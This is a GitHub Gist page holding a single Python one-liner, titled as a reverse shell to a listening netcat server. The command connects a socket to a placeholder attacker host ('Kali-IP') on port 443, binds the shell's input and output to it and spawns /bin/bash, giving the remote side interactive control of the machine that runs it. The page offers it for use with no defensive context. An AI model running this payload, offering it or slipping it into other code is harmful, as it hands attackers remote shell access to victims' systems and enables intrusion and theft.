Skip to content

Instantly share code, notes, and snippets.

Avatar
💭
living.

Lucas Gates lucasgates

💭
living.
View GitHub Profile
@lucasgates
lucasgates / python-reverse-shell.txt
Created Aug 21, 2017
Python one-liner to create a reverse shell to listening netcat server.
View python-reverse-shell.txt
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'